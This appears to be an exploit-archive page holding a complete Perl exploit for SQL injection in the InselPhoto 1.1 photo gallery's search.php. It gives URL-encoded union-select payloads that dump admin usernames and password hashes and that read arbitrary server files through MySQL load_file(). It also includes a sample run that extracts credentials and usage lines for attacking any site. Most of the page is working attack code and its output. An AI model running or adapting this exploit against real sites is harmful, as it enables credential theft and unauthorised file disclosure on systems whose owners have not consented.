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InselPhoto 1.1 SQL Injection

🗓️ 12 Feb 2009 00:00:00Reported by OsirysType 
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InselPhoto 1.1 SQL Injection exploit for admin credentials and file disclosur

Code
`#!/usr/bin/perl  
  
# |----------------------------------------------------------------------------------------------------------------------------------|  
# | INFORMATIONS |  
# |----------------------------------------------------------------------------------------------------------------------------------|  
# |Web Application : InselPhoto v1.1 |  
# |Download : http://www.inselphoto.com/download.php?p=get_inselphoto |  
# |----------------------------------------------------------------------------------------------------------------------------------|  
# |Remote Exploit (Admin credentials extract + File Disclosure via Sql Injection) |  
# |by Osirys |  
# |osirys[at]autistici[dot]org |  
# |osirys.org |  
# |Greets to: evilsocket, Fireshot, Todd and str0ke |  
# |----------------------------------------------------------------------------------------------------------------------------------|  
# |BUG [Sql Injection]  
# | Vulnerable file is: /[path]/search.php line 37  
# |SQL Injections used by this sploit :  
# |[1] ' union select 0,0,concat(username,0x3a,password),0,0,0,0,0 from inselphoto_users#  
# |[2] ' union select 0,0,load_file('lf'),0,0,0,0,0#  
# |----------------------------------------------------------------------------------------------------------------------------------|  
# |This CMS is vulnerable to sql injection.This simple exploit just uses the sql bug to get admin credentials (username,password) and  
# |uses load_file() mysql function to disclosure local file on the server.  
# |This time no RCE exploit avaiable, becouse POST query is filtered with htmlentities, so will be impossible to write php code into  
# |a file, for the fact that < > char will be html encoded.  
# |----------------------------------------------------------------------------------------------------------------------------------|  
  
  
# -----------------------------------------------------------------------------------------------------------------------------------|  
# Exploit in action [>!]  
# -----------------------------------------------------------------------------------------------------------------------------------|  
# osirys[~]>$ perl sql2.txt http://localhost/InselPhoto/ admin_hash  
#  
# -----------------------------------  
# InselPhoto SQL Injection Sploit  
# Coded by Osirys  
# -----------------------------------  
#  
# [*] Extracting users credentials ..  
#  
# [*] Username: admin  
# [*] Password: 5f4dcc3b5aa765d61d8327deb882cf99  
#  
# [*] Username: osirys  
# [*] Password: 6e1459df459890dfd8b4c3687c18abba  
#  
# [!] Succesfully Exploited !  
#  
# osirys[~]>$  
# -----------------------------------------------------------------------------------------------------------------------------------|  
# osirys[~]>$ perl sql2.txt http://localhost/InselPhoto/ file_disc  
#  
# -----------------------------------  
# InselPhoto SQL Injection Sploit  
# Coded by Osirys  
# -----------------------------------  
#  
# [*] cat /home/osirys/test.txt  
# Local file loaded :D  
#  
# [*] cat exit  
# [-] Quitting ..  
# osirys[~]>$  
# -----------------------------------------------------------------------------------------------------------------------------------|  
  
use IO::Socket;  
  
my $host = $ARGV[0];  
my $expl = $ARGV[1];  
  
my $sql_inj_path = "/search.php";  
  
($host,$expl) || help("-1");  
cheek($host,$expl) == 1 || help("-2");  
&banner;  
  
$datas = get_input($host);  
$datas =~ /(.*) (.*)/;  
($h0st,$path) = ($1,$2);  
  
&adm_hash if $expl_way == 1;  
&file_discl if $expl_way == 2;  
  
sub adm_hash {  
my $url = $path.$sql_inj_path;  
  
my $code= "query=%27+union+select+0%2C0%2Cconcat%28username%2C0x3a%2Cpassword%29%2C0%2C0%2C0%2C0%2C0+from+inselphoto_users%23&type=photo";  
  
my $length = length($code);  
  
my $data = "POST ".$url." HTTP/1.1\r\n".  
"Host: ".$h0st."\r\n".  
"Keep-Alive: 300\r\n".  
"Connection: keep-alive\r\n".  
"Content-Type: application/x-www-form-urlencoded\r\n".  
"Content-Length: ".$length."\r\n\r\n".  
$code."\r\n";  
  
my $socket = new IO::Socket::INET(  
PeerAddr => $h0st,  
PeerPort => '80',  
Proto => 'tcp',  
) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";  
  
print "[*] Extracting users credentials ..\n\n";  
$socket->send($data);  
  
while (my $e = <$socket>) {  
if ($e =~ /([a-zA-Z0-9-_.]{2,15}):([a-f0-9]{32})/) {  
$gotcha = 1;  
print "[*] Username: $1\n";  
print "[*] Password: $2\n\n";  
}  
}  
  
if ($gotcha != 1) {  
print "[-] Can't extract users credentials\n[-] Exploit Failed !\n\n";  
exit(0);  
}  
  
print "[!] Succesfully Exploited !\n\n";  
exit(0);  
}  
  
sub file_discl {  
my @outs;  
print "[*] cat ";  
my $file = <STDIN>;  
chomp($file);  
$file !~ /exit/ || die "[-] Quitting ..\n";  
if ($file !~ /\/(.*)/) {  
print "\n[-] Bad filename !\n";  
&file_discl;  
}  
  
my $url = $path.$sql_inj_path;  
my $lfile = html($file);  
my $code= "query=%27+union+select+0%2C0%2Cload_file%28%27".$lfile."%27%29%2C0%2C0%2C0%2C0%2C0%23&type=photo";  
  
my $length = length($code);  
  
my $data = "POST ".$url." HTTP/1.1\r\n".  
"Host: ".$h0st."\r\n".  
"Keep-Alive: 300\r\n".  
"Connection: keep-alive\r\n".  
"Content-Type: application/x-www-form-urlencoded\r\n".  
"Content-Length: ".$length."\r\n\r\n".  
$code."\r\n";  
  
my $socket = new IO::Socket::INET(  
PeerAddr => $h0st,  
PeerPort => '80',  
Proto => 'tcp',  
) or die "[-] Can't connect to $h0st:80\n[?] $! \n\n";  
  
$socket->send($data);  
  
while ((my $e = <$socket>)&&($stop != 1)) {  
if ($e =~ /\/0\/0' rel='lightbox\[insel\]/) {  
$stop = 1;  
}  
push(@outs,$e);  
}  
my $out = join '', @outs;  
my $content = tag($out);  
if ($content =~ /\$href='users\/\*\*(.+)\/0\/0'\$rel='lightbox\[insel\]/) {  
my $out = $1;  
$out =~ s/\$/ /g;  
$out =~ s/\*/\n/g;  
$out =~ s/$out/$out\n/ if ($out !~ /\n$/);  
print "$out\n";  
&file_discl;  
}  
else {  
$c++;  
print "[-] Can't find ".$file." \n";  
$c < 3 || die "[-] File Disclosure failed !\n[-] Something wrong. Exploit Failed !\n\n";  
&file_discl;  
}  
}  
  
sub get_input() {  
my $host = $_[0];  
$host =~ /http:\/\/(.*)/;  
$s_host = $1;  
$s_host =~ /([a-z.-]{1,30})\/(.*)/;  
($h0st,$path) = ($1,$2);  
$path =~ s/(.*)/\/$1/;  
$full_det = $h0st." ".$path;  
return $full_det;  
}  
  
sub tag() {  
my $string = $_[0];  
$string =~ s/ /\$/g;  
$string =~ s/\s/\*/g;  
return($string);  
}  
  
sub html() {  
my $string = $_[0];  
$string =~ s/\//\%2F/g;  
$string =~ s/\\/\%5C/g;  
return($string);  
}  
  
sub cheek() {  
my $host = $_[0];  
my $expl = $_[1];  
if ($host =~ /http:\/\/(.*)/) {  
$ch_host = 1;  
}  
if ($expl =~ /admin_hash/) {  
$ch_expl = 1;  
$expl_way = 1;  
}  
elsif ($expl =~ /file_disc/) {  
$ch_expl = 1;  
$expl_way = 2;  
}  
return 1 if ((($ch_host)&&($ch_expl)) == 1);  
&help("-2");  
}  
  
sub banner {  
print "\n".  
" -----------------------------------\n".  
" InselPhoto SQL Injection Sploit \n".  
" Coded by Osirys \n".  
" -----------------------------------\n\n";  
}  
  
sub help() {  
my $error = $_[0];  
if ($error == -1) {  
&banner;  
print "\n[-] Input Error, missed some arguments !\n\n";  
}  
elsif ($error == -2) {  
&banner;  
print "\n[-] Bad arguments !\n\n";  
}  
print "[*] Usage : perl $0 http://hostname/cms_path admin_hash\n";  
print " Ex: perl $0 http://site.it/cms/ admin_hash\n";  
print "[*] Usage : perl $0 http://hostname/cms_path file_disc\n";  
print " Ex: perl $0 http://site.it/cms/ file_disc\n";  
exit(0);  
}`

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